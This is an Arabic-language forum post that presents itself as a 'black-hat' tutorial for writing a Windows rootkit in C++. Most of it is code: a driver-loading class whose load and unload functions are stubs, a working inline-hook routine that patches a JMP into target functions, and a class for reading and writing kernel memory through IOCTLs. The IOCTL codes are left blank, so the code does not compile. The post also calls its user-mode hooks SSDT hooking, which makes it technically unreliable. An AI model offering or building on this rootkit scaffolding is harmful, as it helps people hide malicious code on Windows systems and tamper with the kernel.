x32x01
أدارة أكتب كود
- بواسطة x32x01 ||
علشان تعمل Rootkit بيفكك نواة الويندوز بلغة السي، هنستخدم أسلوب الـOOP ونقسم الكود إلى كلاسز. ركز معايا وهقولك كل حاجة:
الشرح بالطريقة البلاكية الاسطورية :
1. كلاس الـ Rootkit:
- بيحتوي على الدوال الأساسية اللي هتفكك بيها النواة.
- هتحتاج هنا تكتب دالة لتحميل الدرايفر، ودالة تانية للتعامل مع الـIOCTLs.
2. كلاس الـ Hooking:
- بيحتوي على الدوال اللي هتعمل hooking للـ SSDT.
- هنحتاج هنا نكتب دوال للـ inline hooks وdetour.
3. كلاس الـ Communication:
- بيحتوي على الدوال اللي بتعمل التواصل مع الدرايفر.
- هنحتاج هنا نكتب دوال للقراءة والكتابة من وإلى النواة.
بهذا الشكل، الكود هيبقى مقسم ومنظم باستخدام الـOOP. كل كلاس بيقوم بوظيفة معينة، وبكده يبقى عندك Rootkit قابل للتوسيع والتطوير بسهولة.
الشرح بالطريقة البلاكية الاسطورية :
1. كلاس الـ Rootkit:
- بيحتوي على الدوال الأساسية اللي هتفكك بيها النواة.
- هتحتاج هنا تكتب دالة لتحميل الدرايفر، ودالة تانية للتعامل مع الـIOCTLs.
C:
#include <Windows.h>
#include <iostream>
class Rootkit {
public:
Rootkit();
~Rootkit();
bool LoadDriver(const char* driverPath);
bool UnloadDriver();
bool SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize);
private:
HANDLE hDevice;
};
Rootkit::Rootkit() {
// كونستركتور
hDevice = INVALID_HANDLE_VALUE;
}
Rootkit::~Rootkit() {
// ديستركتور
if (hDevice != INVALID_HANDLE_VALUE) {
CloseHandle(hDevice);
}
}
bool Rootkit::LoadDriver(const char* driverPath) {
// هنا بنحمل الدرايفر
// لازم تكتب كود التحميل الفعلي هنا
return true;
}
bool Rootkit::UnloadDriver() {
// هنا بنشيل الدرايفر
// لازم تكتب كود الإزالة الفعلي هنا
return true;
}
bool Rootkit::SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize) {
// هنا بنبعت IOCTL للنواة
if (hDevice == INVALID_HANDLE_VALUE) {
return false;
}
DWORD bytesReturned;
return DeviceIoControl(hDevice, controlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, NULL);
}
2. كلاس الـ Hooking:
- بيحتوي على الدوال اللي هتعمل hooking للـ SSDT.
- هنحتاج هنا نكتب دوال للـ inline hooks وdetour.
C:
class Hooking {
public:
Hooking();
~Hooking();
bool SetInlineHook(LPVOID targetFunction, LPVOID hookFunction);
bool RemoveInlineHook(LPVOID targetFunction);
private:
BYTE originalBytes[5];
};
Hooking::Hooking() {
// كونستركتور
}
Hooking::~Hooking() {
// ديستركتور
}
bool Hooking::SetInlineHook(LPVOID targetFunction, LPVOID hookFunction) {
// هنا بنعمل inline hook
DWORD oldProtect;
VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(originalBytes, targetFunction, 5);
DWORD relativeAddress = ((DWORD)hookFunction - (DWORD)targetFunction - 5);
*((BYTE*)targetFunction) = 0xE9;
*((DWORD*)((BYTE*)targetFunction + 1)) = relativeAddress;
VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
return true;
}
bool Hooking::RemoveInlineHook(LPVOID targetFunction) {
// هنا بنشيل الـ inline hook
DWORD oldProtect;
VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(targetFunction, originalBytes, 5);
VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
return true;
}
3. كلاس الـ Communication:
- بيحتوي على الدوال اللي بتعمل التواصل مع الدرايفر.
- هنحتاج هنا نكتب دوال للقراءة والكتابة من وإلى النواة.
C:
class Communication {
public:
Communication();
~Communication();
bool ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size);
bool WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size);
private:
Rootkit* rootkit;
};
Communication::Communication() {
// كونستركتور
rootkit = new Rootkit();
}
Communication::~Communication() {
// ديستركتور
delete rootkit;
}
bool Communication::ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size) {
// هنا بنقرأ من الذاكرة
return rootkit->SendControlCode(/*IOCTL_READ_MEMORY*/, &address, sizeof(address), buffer, size);
}
bool Communication::WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size) {
// هنا بنكتب في الذاكرة
return rootkit->SendControlCode(/*IOCTL_WRITE_MEMORY*/, &address, sizeof(address), (LPVOID)buffer, size);
}